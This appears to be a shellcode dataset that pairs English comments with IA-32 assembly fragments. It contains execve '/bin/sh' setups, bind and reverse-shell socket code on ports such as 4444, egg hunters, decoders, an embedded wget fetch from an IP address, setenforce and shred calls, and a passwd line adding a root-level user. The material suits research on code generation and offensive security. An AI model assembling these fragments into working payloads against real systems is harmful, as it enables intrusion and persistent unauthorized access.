OSS-forge/Extended_Shellcode_IA32 huggingface dataset:
; push eax and edx on the stack
push eax
push edx
; push eax and edx contents on stack
push eax
push edx
; load eax, edx, ecx and ebx contents chanined into edi register
push eax
push edx
push ecx
push ebx
mov edi, esp
; push eax, edx, esi, ebx contents on the stack
push eax
push edx
push esi
push ebx
; push eax, esi and bx contents on the stack
push eax
push esi
push ebx
; push eax, esi, edi and ebx contents on stack
push eax
push esi
push edi
push ebx
; push eax and esp register on the stack
push eax
push esp
; load the string Ò/bin//bash\0Ó into ebx register
push eax
push word 0x6873
push 0x61622f2f
push 0x6e69622f
mov ebx,esp
; push eax register on the satck than clear it and put the number of the syscall exit in its laast byte
push eax
xor eax, eax
mov al, 1
; save old base pointer
push ebp
; save the old base pointer value
push ebp
; push the contents of the ebp register onto the stack
push ebp
; push the ebp onto the stack
push ebp
; push ebp onto the stack
push ebp
; insert ebx on the stack
push ebx
; push ebx on the stack
push ebx
; push ebx content on the stack
push ebx
; push ebx content i on the stack
push ebx
; push the command to run on stack
push ebx
; push backlog value equals to 2 on stack
push ebx
; push ebx content on stack
push ebx
; push 0 on stack
push ebx
; push the sock file descriptor stored in ebx
push ebx
; push "/bin/sh" on stack
push ebx
; push ebx(0) onto stack (ipproto_ip = 0)
push ebx
; push ebx(1) onto stack (sock_stream = 1)
push ebx
; push the string Ô////bin/bashÕ on tsack
push ebx
; push the pointer to /bin/bash
push ebx
; push ptr addr on stack
push ebx
; push pointer
push ebx
; value in ebx=1 is pushed in to the stack (sock_stream =1)
push ebx
; pushe 0 onto the stack for first arg of inaddr_any for the local host
push ebx
; pushes the 2nd arg for connection que size to 0
push ebx
; pushes the memory address of the string onto the stack
push ebx
; push ebx on stack
push ebx
; push address of /bin/sh
push ebx
; preserve ebx on the stack
push ebx
; push the contents of ebx register onto the stack
push ebx
; push the contents of the ebx register onto the stack
push ebx
; push the ebx value to the stack
push ebx
; push ebx onto the stack
push ebx
; push the contents of ebx onto the stack
push ebx
; push ebx to the stack
push ebx
; push ebx on stack, increment its content by1 and push it again on stack
push ebx
inc ebx
push ebx
; push the contents of the ebx register onto the stack and point eax to the stack register
push ebx
mov eax, esp
; push ebx in the stack and then move its contents into ecx register
push ebx
mov ecx, esp
; move the character x from ebx register to ecx register
push ebx
mov ecx, esp
; moving the pointer to "/bin//sh" to ecx
push ebx
mov ecx, esp
; load ebx into ecx register
push ebx
mov ecx, esp
; push the contents of the ebx register onto the stack and point ecx to the stack register
push ebx
mov ecx, esp
; push ebx content on the satck and load it into ecx register
push ebx
mov ecx,esp
; push the contents of the ebx register onto the stack and point edx to the stack register
push ebx
mov edx, esp
; load ebx content into ecx register
push ebx
pop ecx
; push on stack the arguemnts ip_proto = 0, sock_stream =1, pf_inet6 = 10
push ebx
push 0x1
push 0xa
; push ebx and the value 0x4 on stack
push ebx
push 0x4
; load ebx content concatenating with hexadecimal value 0x6 into eax reister
push ebx
push 0x6
pop eax
; push ebx contente and the byte 10 on stack
push ebx
push byte 10
; push null on stack two times
push ebx
push ebx
; push 0 two times
push ebx
push ebx
; push ebx two times and esi content on stack
push ebx
push ebx
push esi
; push ebx two times andesi contents on stack
push ebx
push ebx
push esi
; push ebx and ecx contents on stack
push ebx
push ecx
; push null in stack
push ecx
; push ecx on the satck
push ecx
; load the real ip address in the stack
push ecx
; push ecx content on the stack
push ecx
; push ecx on stack
push ecx
; push the pointer v4lhost on stack
push ecx
; push the pointer to struct on stack
push ecx
; push the pointer to sockfd on stack
push ecx
; push null on stack
push ecx
; push the pointer to host_sockfd
push ecx
; push ecx on register
push ecx
; push null terminating string on stack
push ecx
; push the pointer to sock addr stored in ecx
push ecx
; push ecx(struct pointer) onto the stack
push ecx
; push \x00 to the stack
push ecx
; push pointer address on stack
push ecx
; push serv_addr saved in ecx
push ecx
; push struct pointer
push ecx
; push the memory location of previous args onto the stack
push ecx
; push ecx content on stack
push ecx
; push &serv_addr saved in ecx
push ecx
; preserve ecx on the stack
push ecx
; push the contents of the ecx register onto the stack
push ecx
; push the value of register ecx onto the stack
push ecx
; push ecx onto the stack
push ecx
; push the contents of ecx register onto the stack
push ecx
; push the ecx onto the stack
push ecx
; push ecx on the stack
push ecx
; push ecx to the stack
push ecx
; push the contents of the ecx register onto the stack.
push ecx
; push ecx on the stack and then place pointer to ecx
push ecx
mov ecx,esp
; push ecx on the stack and then place pointer to edx
push ecx
mov edx,esp
; load ecx contents into edi register
push ecx
pop edi
; push ecx content, the value 0x2 two times on stack
push ecx
push 0x2
push 0x2
; load Ô/etc//passwdÕ and null teminating string into ecx register
push ecx
push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ecx,esp
; load Ô/bin//sh\0Õ on ebx register
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; push the string /bin//sh\0\0\0\0\0\0\0\0 on the stack and place pointer to eb
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
; push ecx cotent, ÔhsabÕ, Ô/nibÕ and Ô////Õ on stack
push ecx
push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
; load Ô/bin/catÕ and null teminating string into ebx register
push ecx
push 0x7461632f
push 0x6e69622f
mov ebx,esp
; load ecx content, hexadecimal value 0x8, edx content, esi content into ecx register
push ecx
push 0x8
push edx
push esi
mov ecx, esp
; load __nr_execve syscall into eax register and the string Ô/bin//sh\0Õ into ebx register
push ecx
push 0xb
pop eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
; load Ô/bin//sh\0Õ into ebx register
push ecx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx, esp
; push the pointer to sockaddr and the fd received previously on stack
push ecx
push eax
; push ecx and ebx content on stack
push ecx
push ebx
; load the string /usr/bin/wget 192.168.1.93//x </dev/null2<&1 in ecx register
push ecx
push ebx
mov ecx,esp
; save null terminating string Ô/bin/shÕ into ebx
push ecx
push ebx
pop ebx
; push ecx and ebx contents and 32 bit equal to 2 on the stack and then put esp in ecx
push ecx
push ebx
push dword 0x2
mov ecx, esp
; push the value 0 to the stack for 2 times and then push esi
push ecx
push ecx
push esi
; push ecx and esi contents on the stack
push ecx
push esi
; push ecx and esi contents on stack
push ecx
push esi
; push ecx and esi contents
push ecx
push esi
; load ecx content, af_inet in 32bit and the 32bit value 4444 on ecx
push ecx
push word 0x5c11
push word 0x2
mov ecx, esp
; push nib// in stack
push edi
; push the string //sbin// on the stack
push edi
; push edi content on the stack
push edi
; push "c-" on stack
push edi
; push edi content
push edi
; push Ô-cÕ value on stack
push edi
; push the edi onto the stack
push edi
; push edi to the stack
push edi
; push the contents of the edi register onto the stack
push edi
; push edi onto the stack
push edi
; push the contents of edi register onto the stack
push edi
; push the contents of the edi register onto the stack and point eax to the stack register
push edi
mov eax, esp
; push the contents of the edi register onto the stack and point ebx to the stack register
push edi
mov ebx, esp
; push the contents of the edi register onto the stack and point ecx to the stack register
push edi
mov ecx, esp
; push the contents of the edi register onto the stack and point edx to the stack register
push edi
mov edx, esp
; load esi content into esi register
push edi
pop esi
; push edi content, the buffer size = 100 as a word, edi content and socketfd (esi) on stack
push edi
push word 100
push edi
push esi
; push edx register on the stack
push edx
; push null on the stack
push edx
; push null byte on the stack
push edx
; load null byte on the stack
push edx
; push edx on stack
push edx
; push inaddr_any = 0 on the stack
push edx
; push null string terminator on stack
push edx
; push null argv on stack
push edx
; push edx contet om stack
push edx
; push edx content on stack
push edx
; push null on stack
push edx
; push terminating null on stack
push edx
; push edx(0) onto the stack (inaddr_any = 0)
push edx
; push 00 onto the stack
push edx
; push null termination string on stack
push edx
; push file descriptor on stack
push edx
; push protocol id = 0
push edx
; push socket file descriptor saved in edx
push edx
; push null
push edx
; push 0 on to stack (inaddr_any)
push edx
; push 0 onto stack (backlog=0)
push edx
; pushes the old socket fd onto the stack
push edx
; push current socket fd onto the stack
push edx
; push the socket fd onto the stack
push edx
; push our socket fd onto the stack
push edx
; push edx content
push edx
; push edx
push edx
; push inaddr_any = 0
push edx
; push zero addrlen on stack
push edx
; push null sockaddr on stack
push edx
; preserve edx on the stack
push edx
; push edx to the stack
push edx
; push the contents of edx register onto the stack
push edx
; push the contents of the edx register onto the stack
push edx
; push the value of register edx onto the stack
push edx
; push edx onto the stack
push edx
; push edx on the stack
push edx
; push null terminated string ÔadowÕ on stack
push edx
mov eax, 0xb33fb33f
sub eax, 0x3bd04ede
push eax
; push the contents of the edx register onto the stack and point eax to the stack register
push edx
mov eax, esp
; push the contents of the edx register onto the stack and point ebx to the stack register
push edx
mov ebx, esp
; push the contents of the edx register onto the stack and point ecx to the stack register
push edx
mov ecx, esp
; push null termination string and the string Ô/usr/sbin/setenforceÕ on the stack
push edx
push 0x6563726f
push 0x666e6574
push 0x65732f6e
push 0x6962732f
push 0x7273752f
; push null terminated /bin//sh on stack
push edx
push 0x68732f2f
push 0x6e69622f
; push /bin//sh +\x00 on the stack and then point ebx where that string is located
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; load null bytes, Ô//shÕ and Ô/binÕ into ebx register
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
; load Ô/bin//sh\0Õ into ebx register
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
; push edx and the hexadecimal value 0x68735858 on the stack
push edx
push 0x68735858
; push edx and the value 0x30 onto the stack
push edx
push byte 0x30
; load the string /cte/shadow on ebx register
push edx
push byte 0x77
push word 0x6f64
mov esi, 0x222933f0
add esi, 0x3f3f3f3f
push esi
xor esi, esi
mov esi, 0x243525f0
add esi, 0x3f3f3f3f
push esi
xor esi, esi
mov ebx, esp
; push edx, eax and ebx on the stack
push edx
push eax
push ebx
; push edx and ebx content on stack
push edx
push ebx
; push edx content two times on stack
push edx
push ebx
; pusg protocol = 0, sock_stream = 1 and af_inter = 2 on stack
push edx
push ebx
push 2
; push edx, ecx and eax contents on stack
push edx
push ecx
push eax
; push edx, ecx and ebx content on stack
push edx
push ecx
push ebx
; push edx, ecx and ebx contents on the stack
push edx
push ecx
push ebx
mov ecx, esp
; push edx, ecx, ebx, eax, esp, ebp, esi and edi registers on the stack
push edx
push ecx
push ebx
push eax
push esp
push ebp
push esi
push edi
; push edx and edi on stack
push edx
push edi
; push edx, edi and ebx content on stack
push edx
push edi
push ebx
; push null two times on satck
push edx
push edx
; push two times edx on the stack and then load the stack pointer in ecx register
push edx
push edx
mov ecx, esp
; push edx content two times and esi content on stack
push edx
push edx
push esi
; push edx content two times and esi content onto the stack
push edx
push edx
push esi
; push edx two times ad esi on the stack and then load the stack pointer into ecx register
push edx
push edx
push esi
mov ecx, esp
; push edx and esi content on stack
push edx
push esi
; save 0 and socket file descriptor in ecx
push edx
push esi
mov ecx, esp
; save socket file descriptor and 0 in ecx
push edx
push esi
mov ecx, esp
; push edx and esi contents on the stack and then load the stack pointer into ecx register
push edx
push esi
mov ecx, esp
; load edx, esi, ebp and ebx contentsinto ecx register
push edx
push esi
push ebp
push ebx
mov ecx, esp
; chain the contents of the registers edx, esi, edi and ebx and save them into ecx register
push edx
push esi
push edi
push ebx
mov ecx, esp
; save af_inet in 32bit, the 32bit value 4444, edx contents on ecx
push edx
push word 0x5c11
push word 0x02
mov ecx, esp
; push on stack the word array : [0, port_num, 2]
push edx
push word 0x8223
push word bx
; push a word null, a word of a characters and a word of 2 on the stack then load the stack pointer into ecx register
push edx
push word 0xaaaa
push word 2
mov ecx, esp
; push hs/ in stack
push esi
; push the pointer to -f
push esi
; push esi content on stack
push esi
; push the socket file descriptor on stack
push esi
; push socket file descriptor on stack
push esi
; push the sockfd on stack
push esi
; push the host_sockfd
push esi
; push the pointer to host_sockfd stored in esi on stack
push esi
; push host_sockfd
push esi
; push encoded_shellcode pointer to stack for later execution
push esi
; push null termination
push esi
; push the pointer to the /tmp/.xe
push esi
; push file descriptor on stack
push esi
; push sockfd (sock_file_des) onto stack
push esi
; push sockfd on stack
push esi
; push sockfd saved into esi
push esi
; push sockfd (esx) on stack
push esi
; preserve esi on the stack
push esi
; push the contents of the esi register onto the stack
push esi
; push the contents of the esi register onto the stack.
push esi
; push the esi onto the stack
push esi
; push esi onto the stack
push esi
; push the contents of esi register onto the stack
push esi
; push esi on the stack
push esi
; push esi to the stack
push esi
; push the encoded shellcode pointer to stack
push esi
; push the contents of the esi register onto the stack and point eax to the stack register
push esi
mov eax, esp
; push the contents of the esi register onto the stack and point ebx to the stack register
push esi
mov ebx, esp
; push the contents of the esi register onto the stack and point ecx to the stack register
push esi
mov ecx, esp
; push the stack onto esi and move the contents on edi
push esi
mov edi, esi
; push the contents of the esi register onto the stack and point edx to the stack register
push esi
mov edx, esp
; push null terminated string Ô/bin//shÕ on stack
push esi
push 0x68732f2f
push 0x6e69622f
; push /bin//sh in stack
push esi
push edi
; push esi and edi content on stack
push esi
push edi
; push esi, edi and edx content on stack
push esi
push edi
push edx
; push esp content on stack
push esp
; push the memory location of param 1(sizeof) onto the stack
push esp
; push the contents of esp register onto the stack
push esp
; push the contents of the esp register onto the stack
push esp
; push the esp onto the stack
push esp
; push esp to the stack
push esp
; push esp onto the stack
push esp
; push len onto the stack
push len
; save len into edx registe
push len
pop edx
; move /bin/sh into the eax register
push long 0x68732f2f
push long 0x6e69622f
mov eax, esp
; move the string /bin//sh on ebx register
push long 0x68732f2f
push long 0x6e69622f
mov ebx, esp
; move /bin/sh into the ebx register
push long 0x68732f2f
push long 0x6e69622f
mov ebx, esp
; put /bin/sh into the ecx register
push long 0x68732f2f
push long 0x6e69622f
mov ecx, esp
; put /bin/sh into the edx register
push long 0x68732f2f
push long 0x6e69622f
mov edx, esp
; push name onto the stack
push name
; push address of string print_msg
push offset printf_msg
; push the contents in ogin onto the stack
push ogin
; push the immediate value stored in rcx onto the stack
push rcx
; push sock_reg onto the stack
push sock_reg
; push the sock_reg onto the stack
push sock_reg
; push sys_execve onto the stack
push sys_execve
; set sys_execve = 11 to eax
push sys_execve
pop eax
; push edx content as a word on stack
push word [edx]
; push the word [edx] onto the stack
push word [edx]
; push the word [edx] to the stack
push word [edx]
; push the word 0544o onto the stack
push word 0544o
; allow permissions r-xr--rÑsave them into ecx
push word 0544o
pop ecx
; push the word 0644o onto the stack
push word 0644o
; set read-write permission
push word 0666q
; push the word 0666q onto the stack
push word 0666q
; push af_inet on the stack
push word 0x02
; push af_inet = 2 on stack
push word 0x02
; push the word 0x02 onto the stack
push word 0x02
; push the argument pf_inet6 = 10 on stack
push word 0x0a
; push the argument af_inet6 = 10 on stack
push word 0x0a
; push word af_inet6
push word 0x0a
; push af_inet6 = 10 as word on stack
push word 0x0a
; push af_inet = 0x0a
push word 0x0a
; push the word 0x0a onto the stack
push word 0x0a
; push the word 0x0a to the stack
push word 0x0a
; push the word 0x0f27 onto the stack
push word 0x0f27
; push the word 0x1b6 to the stack
push word 0x1b6
; push the word 0x1b6 onto the stack
push word 0x1b6
; save read-write permission in ecx register
push word 0x1b6
pop ecx
; push the word 0x1ff onto the stack
push word 0x1ff
; push the word 0x2 on stack
push word 0x2
; push hexadecimal value 0x2 on stack
push word 0x2
; push hexadecimal value 0x2 as a word on stack
push word 0x2
; push af_inet on stack
push word 0x2
; push af_inet = 2
push word 0x2
; push the arg af_inet onto the stack
push word 0x2
; push the word 0x2 onto the stack
push word 0x2
; push the word 0x2 to the stack
push word 0x2
; push 0x2923 onto stack port
push word 0x2923
; push the word 0x2e2e onto the stack
push word 0x2e2e
; push the value 46 on the stack
push word 0x3436
; push the word 0x3436 onto the stack
push word 0x3436
; push port 0x3582 as a word
push word 0x3582
; push port number 0x3582 as a word on stack
push word 0x3582
; push the word 0x3582 onto the stack
push word 0x3582
; push the word 0x3636 onto the stack
push word 0x3636
; push the value of the port, 1337, on 32 bit in big endian format
push word 0x3905
; push the value of port 1336 on 32 bit on stack
push word 0x3905
; push the word 0x3905 to the stack
push word 0x3905
; push the word 0x3905 onto the stack
push word 0x3905
; push the word 0x3930 onto the stack
push word 0x3930
; push the word 0x401f onto the stack
push word 0x401f
; push the word 0x4255 onto the stack
push word 0x4255
; push Ô-fÕ on stack
push word 0x462d
; push the word 0x462d to the stack
push word 0x462d
; push the word 0x462d onto the stack
push word 0x462d
; push 0x5000 onto stack port
push word 0x5000
; push the word 0x5445 onto the stack
push word 0x5445
; push the word 0x5974 onto the stack
push word 0x5974
; insert the 32bit value 4444 on the stack
push word 0x5c11
; push the hexdadecimal value of 4444 on the stack
push word 0x5c11
; push the number of the port, 4444, on the stack
push word 0x5c11
; push the value 4444 of the port on stack
push word 0x5c11
; push dword port value = 4444
push word 0x5c11
; push port value = 4444 as a word
push word 0x5c11
; push port value 4444 as word on stack
push word 0x5c11
; push 0x5c11 onto the stack (port:4444)
push word 0x5c11
; push the port number 4444 (hex) on stack
push word 0x5c11
; push port number 4444 as a word
push word 0x5c11
; push htons(4444)
push word 0x5c11
; set the port to bind on, in reverse order is 4444
push word 0x5c11
; push the word 0x5c11 onto the stack
push word 0x5c11
; push the word 0x5c11 to the stack
push word 0x5c11
; push -c param on the stack
push word 0x632d
; push the word paramenter -c on the stack
push word 0x632d
; push the parameter Òc-Ò as a word on stack
push word 0x632d
; push the value Ô-cÕ on stack
push word 0x632d
; push the word 0x632d onto the stack
push word 0x632d
; push the word 0x632d to the stack
push word 0x632d
; push the word 0x632d onto the stack and point the eax register to the stack register
push word 0x632d
mov eax, esp
; push the word 0x632d onto the stack and point the ebx register to the stack register
push word 0x632d
mov ebx, esp
; push the word 0x632d onto the stack and point the ecx register to the stack register
push word 0x632d
mov ecx, esp
; push the word 0x632d onto the stack and point the edi register to the stack register
push word 0x632d
mov edi, esp
; push the word 0x632d onto the stack and point the edx register to the stack register
push word 0x632d
mov edx, esp
; push the word 0x632d onto the stack and point the esi register to the stack register
push word 0x632d
mov esi, esp
; push the word 0x6465 onto the stack
push word 0x6465
; load the strig /usr/bin/shred in ebx regiter
push word 0x6465
push 0x7268732f
push 0x6e69622f
push 0x7273752f
mov ebx, esp
; push the word 0x662d onto the stack
push word 0x662d
; push the word 0x662d onto the stack and point the eax register to the stack register
push word 0x662d
mov eax, esp
; push the word 0x662d onto the stack and point the ebx register to the stack register
push word 0x662d
mov ebx, esp
; push the word 0x662d onto the stack and point the ecx register to the stack register
push word 0x662d
mov ecx, esp
; push the word 0x662d onto the stack and point the edi register to the stack register
push word 0x662d
mov edi, esp
; push the word 0x662d onto the stack and point the edx register to the stack register
push word 0x662d
mov edx, esp
; load the hexadecimal word value 0x6632d in esi register
push word 0x662d
mov esi, esp
; push the word 0x662d onto the stack and point the esi register to the stack register
push word 0x662d
mov esi, esp
; push the word 0x6666 onto the stack
push word 0x6666
; push the word 0x6873 onto the stack
push word 0x6873
; push the word 0x692d onto the stack
push word 0x692d
; push the word 0x697a onto the stack
push word 0x697a
; push the word 0x6d6f onto the stack
push word 0x6d6f
; push the word 0x6f64 to the stack
push word 0x6f64
; push the word 0x6f64 onto the stack
push word 0x6f64
; push the word 0x7065 onto the stack
push word 0x7065
; push the word 0x722d onto the stack
push word 0x722d
; push the word 0x7365 onto the stack
push word 0x7365
; push the word 0x736e onto the stack
push word 0x736e
; push the word 0x776f onto the stack
push word 0x776f
; push the word 0x7773 to the stack
push word 0x7773
; push the word 0x7773 onto the stack
push word 0x7773
; push port number 9090 on stack
push word 0x8223
; push the word 0x8223 onto the stack
push word 0x8223
; push the word 0xaaaa onto the stack
push word 0xaaaa
; push port number 5555 (little-endian)
push word 0xb315
; push the word 0xb315 onto the stack
push word 0xb315
; push sin6_port 2 byte (port 1472) on stack
push word 0xc005
; push port 1472 (hex)
push word 0xc005
; push the word 0xc005 onto the stack
push word 0xc005
; push the word 0xc005 to the stack
push word 0xc005
; push the hexadecimal value 0xffff on stack
push word 0xffff
; push the word 0xffff onto the stack
push word 0xffff
; push the word 0xffff to the stack
push word 0xffff
; push the word 1 onto the stack and point eax to the stack register
push word 1
mov eax, esp
; push sa_family_t=2 byte on stack
push word 10
; push the word 10 to the stack
push word 10
; push the word 100 onto the stack
push word 100
; push the word 17 onto the stack and point edx to the stack register
push word 17
mov edx, esp
; push 2 onto stack
push word 2
; push the word 2 onto the stack
push word 2
; push the word 2 onto the stack and point ecx to the stack register
push word 2
mov ecx, esp
; push the word 21 onto the stack and point ebx to the stack register
push word 21
mov ebx, esp
; push ax content represented on 32 bit on stack
push word ax
; push the word ax onto the stack
push word ax
; push the 32 bit register bx on the stack
push word bx
; push af_inet =2 as a word
push word bx
; push sin6_addr on 16 byte, saved in bx, on stack
push word bx
; push af_inet as a word
push word bx
; push the word bx onto the stack
push word bx
; push the word bx to the stack
push word bx
; push af_inet = 2
push word cx
; push the word cx onto the stack
push word cx
; push the zero_reg onto the stack
push zero_reg
; push zero_reg onto the stack
push zero_reg
; declare push_cmd label
push_cmd:
; declare the push_cmd label
push_cmd:
; pushe all general purpose registers onto the stack in the following order: (e)ax, (e)cx, (e)dx, (e)bx, (e)sp, (e)bp, (e)si, (e)di. the value of sp is the value before the actual push of sp.
pusha
; push $0x68732f2f onto the stack
pushl $0x68732f2f
; push $0x6e69622f onto the stack
pushl $0x6e69622f
; push $0x632d onto the stack
pushw $0x632d
; push 2 on stack as a word
pushw 0x2
; push af_inet = 2
pushw 0x2
; push af_inet=2 as a word on stack
pushw 0x2
; push the value of port 1336 as a word on stack
pushw 0x3905
; push the 0x3905 onto the stack
pushw 0x3905
; push the 0x682d onto the stack
pushw 0x682d
; push the 0x697a onto the stack
pushw 0x697a
; push port number 5555 (little-endian)
pushw 0xb315
; push pot number 47138 as a word on stack
pushw 0xb822
; push port number on stack as a word
pushw 0xe324
; run pxor operation between mm0 and mm1
pxor mm0, mm1
; perform xor operation
pxor mm0, mm1
; in the routine R1 point to the next byte in esi
R1:
inc esi
; in the routine R1 point to the next word in esi
R1:
inc esi
inc esi
; in the routine R1 save the shellcode in esi
R1:
pop esi
; declare R2 and point to the next byte in esi
R2:
inc esi
; declare R2 and point to the next word in esi
R2:
inc esi
inc esi
; rotate the bits into al register to the left for 1 time
rcl al,1
; define label re
re
; define read_file_label
read_file:
; define read_label
read:
; define _read label
read:
; declare the read label
read:
; define _reading label
reading:
; declare the reading label
reading:
; define the doubleword variable real_number1 and initialize to 1234
real_number1 dd 1234
; define the doubleword variable real_number2 and initialize 123456
real_number2 dd 123456
; reserve an array of ten reals for realarray
realarray resq 10
; reserve array realarray of 10 real numbers
realarray resq 10
; pushing null terminator
reseting the register
; transfer control to the previous instruction address saved on stack
ret
; return
ret
; return the address off the stack and returns control to that location
ret
; return to our program
ret
; return to the address on the top of the stack
ret
; return to where the function was called
ret
; return to caller
ret
; transfer control to the instruction at the adress 0x8585
ret 0x8585
; transfer control to the instruction at the adress 0x8585
ret 0xc885
; define _retry label
retry:
; declare retry label
retry:
; returnlabel label
returnlabel:
; rol decode with 1 offset
rol byte [esi], 0x1
; left rotate the byte in esi 1 time
rol byte [esi], 0x1
; left rotate the shellcode by one
rol byte [esi], 0x1
; left shift all bits of esi 2 times
rol byte [esi], 0x2
; left rotate the byte at the address esi by 0x2 bits
rol byte [esi], 0x2
; left rotate the byte in esi 2 times
rol byte [esi], 0x2
; execute a rotation to the left of the first character pointed from esi for 4 times
rol byte [esi], 4
; rotate 4 bits left the byte starting at the address esi
rol byte [esi], 4
; left rotate the contents of the edi register by 1 bit
rol edi, 1
; left rotate the edi register 1 time
rol edi, 1
; left shift all bits of edx 4 times
rol edx, 0x4
; left rotate the contents of the edx register by 0x4 bits
rol edx, 0x4
; left rotate the edx register 4 times
rol edx, 0x4
; right rotate bl by the contents of cl
ror bl, cl
; ror decode with 1 offset
ror byte [esi], 0x1
; right rotate the byte in esi 1 time
ror byte [esi], 0x1
; right rotate the shellcode in esi by one
ror byte [esi], 0x1
; right rotate esi 1 time
ror esi, 1
; right rotate the contents of the esi register by 1 bit
ror esi, 1
; define rot_decode_label
rot_decode:
; declare _rotate label
rotate:
; declare the rotate label
rotate:
; S1 is an array of bytes 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73
S1: db 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
; define S2 as the array of bytes 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
S2: db 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
; S3 is an array of words 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73
S3: dw 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
; define S4 as the array of words 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
S4: db 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
; right shift the contents of eax by 23 bits
sar eax, 23
; right shift the contents of eax by 31 bits
sar eax, 31
; right shift the contents of ebx by 31 bits
sar ebx, 31
; right shift the value of register ecx by 2 bits
sar ecx, 2
; right shift the value of register edx by 4 bits
sar edx, 4
; compare value at location edi with eax register
scas eax,dword ptr es:[edi]
; check if [edi] == eax then increment edi while
scasd
; compare eax with doubleword at edi and set status flags
scasd
; compare the contents of the eax register with doubleword at edi and set status flags
scasd
; compare the value in eax to the doubleword addressed by edi
scasd
; compare the value in the eax register to the doubleword addressed by the edi register
scasd
; jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
scasd \ jnz _end
jmp edi
; jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi
scasd
jnz _end
; jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
scasd
jnz _end
jmp edi
; jump to the _start label if the value in the eax register is not equal to the doubleword addressed by edi
scasd
jnz _start
; jump to the _start label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
scasd
jnz _start
jmp edi
; checking current address with egg two times
scasd
jnz _start
scasd
jnz _start
; jump to the IncAddr label if the value in the eax register is not equal to the doubleword addressed by edi
scasd
jnz IncAddr
; jump to the IncAddr label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
scasd
jnz IncAddr
jmp edi
; check if [edi] == eax then increment edi while if no match go to next_addr label. repeat two times
scasd
jnz next_addr
scasd
jnz next_addr
; jump to the l1 label if the value in the eax register is not equal to the doubleword addressed by edi
scasd
l1 IncAddr
; jump to the l1 label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
scasd
l1 IncAddr
jmp edi
; define search_the_egg label
search_the_egg:
; declare section containing uninitialized data
section .bss
; declare the bss section
section .bss
; section bss
section .bss
; declare section bss
section .bss
; declare bss section
section .bss
; declare code section .bss
section .bss
; declare section .data
section .data
; delcare section .data
section .data
; define section .data
section .data
; declare section containing initialized data
section .data
; declare the data section
section .data
; section data
section .data
; section for initialized data
section .data
; declare data section
section .data
; declare section.data, section .bss, section.text, global _start, _start label
section .data
section .bss
section .text
global _start
_start:
; declare text section
section .text
; declare section containing code
section .text
; declare section text
section .text
; declare the text section
section .text
; section .text
section .text
; declare .text section
section .text
; declare code section
section .text
; section text
section .text
; declare section .data and _start label
section .text
_start:
; declare section .text, global _start, _start:
section .text
global _start
_start:
; declare section. text, global _start, _start label
section .text
global _start
_start:
; declare section.text, global _start and _start label
section .text
global _start
_start:
; delcare section .text, global _start and _start label
section .text
global _start
_start:
; declare set_argv label
set_argv:
; declare the set_argv label
set_argv:
; define set_argv label
set_argv:
; define set_mark label
set_mark:
; declare the set_mark label
set_mark:
; define _steup label
setup:
; declare the setup label
setup:
; define shell_ret label
shell_ret:
; declare the shell_ret label
shell_ret:
; define _ shell label
shell:
; define _shell label
shell:
; declare the shell label
shell:
; define the size of the shellcode = 25 byte
shellcode_length equ $-shellcode
; define shellcode_length equal to the size of shellcode
shellcode_length equ $-shellcode
; in shellcode_section go to decoder's main
shellcode_section
call decoder
; declare _shellcode label
shellcode:
; delcare shellcode_label
shellcode:
; define _shellcode label
shellcode:
; declare shellcode_label
shellcode:
; define shellcode_ label
shellcode:
; define shellcode label
shellcode:
; declare the shellcode label
shellcode:
; define the array of bytes shellcode and initialize it to vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash
shellcode: db 'vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash'
; define the shellcode: "vl43ck:$6$bxwjfzor$muhuwo0mugdkwfppeydqgzpm.ytpmi/gam4lvqhp21lfnwmsj821kvjniyoodytbh.sf9ar7ciqbrccw5bgjx0:0:0:vl43ck:/tmp:/bin/bashÓ
shellcode: db "vl43ck:$6$bxwjfzor$muhuwo0mugdkwfppeydqgzpm.ytpmi/gam4lvqhp21lfnwmsj821kvjniyoodytbh.sf9ar7ciqbrccw5bgjx0:0:0:vl43ck:/tmp:/bin/bashÓ
; define shellcode as array of bytes 0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87
